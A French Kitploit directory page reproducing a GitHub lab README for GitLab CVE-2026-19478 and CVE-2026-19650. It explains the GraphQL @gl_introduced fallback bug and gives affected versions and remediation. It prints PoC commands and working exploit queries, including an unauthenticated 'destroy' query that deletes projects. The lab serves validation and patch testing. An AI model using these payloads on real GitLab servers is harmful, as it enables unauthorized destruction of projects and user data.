Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/dinosn/gitlab-cve-2026-19478-lab
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests de Sécurité des APISécurité WebTests d'IntrusionLabs et Pratique
GitHubdinosn/gitlab-cve-2026-19478-lab

gitlab-cve-2026-19478-lab

Lab A/B reproductible + PoC sûr pour GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)

Voir le dépôt
81il y a 6 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-19478 — GitLab GraphQL @gl_introduced : invocation arbitraire de méthode non authentifiée (laboratoire de validation + PoC)

Laboratoire A/B reproductible et PoC sûr pour CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Critique). Un attaquant non authentifié peut invoquer des méthodes Ruby arbitraires à zéro argument sur les objets de domaine résolus par GraphQL — par exemple appeler Project#destroy pour supprimer un projet public sans identifiants.

Inclut également un PoC pour le jumeau CVE-2026-19650 (échange de requêtes multiplex GraphQL) corrigé dans la même version.

Réservé aux tests de sécurité autorisés / à des fins éducatives uniquement. Tout s'exécute contre vos propres conteneurs locaux.


1. La vulnérabilité

GitLab fournit une directive client GraphQL @gl_introduced(version: "X.Y.Z") (compatibilité ascendante pour les déploiements progressifs). Lorsqu'une requête nomme un champ dont la version est plus récente que celle du serveur, un traceur (Gitlab::Graphql::VersionFilter::IntroducedTracer) le retire avant la afin que la requête soit validée, puis réexécute le document à l'exécution et laisse les champs inconnus se résoudre vers un repli.

Télécharger l’outil
validation statique
original

Le bug se trouve dans le repli (lib/gitlab/graphql/version_filter/future_field_fallback.rb, avant le correctif) :

root@kitploit:~
def fallback_field(name:)
  GraphQL::Schema::Field.new(owner: self, name: name,
    type: GraphQL::Types::Boolean, fallback_value: nil)   # <-- no resolver
end

Un GraphQL::Schema::Field sans résolveur est résolu par graphql-ruby en appelant object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb — la branche respond_to?(@method_sym) → public_send s'exécute avant que fallback_value ne soit jamais consulté, donc fallback_value: nil était du code mort). Par conséquent, sous @gl_introduced, le client choisit un nom de champ égal à n'importe quelle méthode à zéro argument sur l'objet actuellement résolu, et le serveur l'invoque.

Résolvez un projet public, demandez un « champ futur » nommé destroy → le serveur exécute Project#destroy.

  • Impact : modification/suppression non authentifiée de projets publics et de données utilisateur (CVSS 9.4, AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).
  • Versions affectées : GitLab CE/EE 18.2–18.11.10, 19.0.0–19.0.7, 19.1.0–19.1.5, 19.2.0–19.2.3.
  • Corrigé dans : 18.11.11, 19.0.8, 19.1.6, 19.2.4 (2026-08-17) — le repli utilise désormais un Resolvers::NilResolver explicite qui renvoie nil et n'appelle jamais de méthode.

Contraintes de déclenchement (apprises empiriquement)

  1. @gl_introduced(version:) doit être supérieur à la version du serveur (utilisez 99.0.0).
  2. Le nom du champ doit être le nom de méthode exact, verbatim (snake_case tel que défini en Ruby, p. ex. to_param, destroy).
  3. La sélection parente nécessite ≥ 1 champ frère réel (p. ex. id), sinon le document filtré est un ensemble de sélections vide et GitLab renvoie une erreur de validation "Field must have selections".

2. Démarrage rapide (laboratoire A/B : 19.2.2 vulnérable vs 19.2.4 corrigé)

Prérequis : Docker + docker compose, ~8 Go de RAM libre, Python 3.

root@kitploit:~
docker compose up -d            # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh                      # waits for readiness, seeds a public project + an admin token on each instance

setup.sh affiche, pour chaque instance : l'URL de base, le chemin du projet public initialisé (root/pub) et un jeton PAT administrateur.


3. Exécuter le PoC

3a. Détection (SÛRE, non destructive — par défaut)

Utilise la primitive d'appel de méthode avec une méthode inoffensive (to_param). Aucune donnée n'est modifiée.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222     # vulnerable  -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224     # patched     -> NOT VULNERABLE

Résultat attendu :

root@kitploit:~
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE  — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.

vs. sur l'instance corrigée :

root@kitploit:~
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.

3b. Prouver l'impact destructif (OPT-IN — supprime un projet jetable qu'il crée lui-même)

Crée son propre projet public jetable via l'API REST (nécessite le jeton admin de setup.sh), puis le supprime via l'attaque GraphQL non authentifiée, et confirme que le projet a disparu.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
    --prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root

Résultat attendu (instance vulnérable) :

root@kitploit:~
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.

Sur l'instance corrigée, la même exécution indique que le projet renvoie toujours 200 OK et que destroy est null.

3c. Jumeau CVE-2026-19650 (échange de requêtes multiplex) — SÛR

root@kitploit:~
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222   # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224   # NOT VULNERABLE (slots isolated)

4. Tester contre votre propre instance

Pointez --url vers n'importe quel GitLab que vous êtes autorisé à tester, et --project vers un projet public présent sur celui-ci :

root@kitploit:~
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project

La détection est non destructive. N'utilisez pas --prove-destroy contre quoi que ce soit qui ne vous appartient pas.


5. Remédiation

Mettez à niveau vers 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 ou une version ultérieure. Le correctif fait transiter le repli par Resolvers::NilResolver (renvoie nil, n'invoque jamais une méthode d'objet). Si vous ne pouvez pas mettre à niveau immédiatement, bloquez la directive @gl_introduced / le chemin du filtre de version au niveau d'un proxy, ou restreignez l'accès GraphQL non authentifié.

6. Fichiers

FichierRôle
docker-compose.ymlDémarre 19.2.2-ce vulnérable (:8222) + 19.2.4-ce corrigé (:8224)
setup.shAttend la disponibilité, initialise le projet public root/pub + jeton admin par instance
poc_cve_2026_19478.pyDétection (sûre) + preuve d'impact optionnelle --prove-destroy
poc_cve_2026_19650.pyDétection d'échange de requêtes multiplex (sûre)

7. Notes de sécurité

  • Tout cible des conteneurs que vous exécutez. Le PoC par défaut est non destructif.
  • --prove-destroy crée et supprime son propre projet jetable ; il ne touche jamais root/pub ni vos données.
  • Rapporté par : hiimguardian (CVE-2026-19478), kreep (CVE-2026-19650), via GitLab HackerOne. La divulgation technique publique a été mise sous embargo ~90 jours après le correctif ; ce laboratoire dérive le mécanisme des commits de correctif publics e283c6adeb3d (repli) et d2ea4b971a98 (échange multiplex).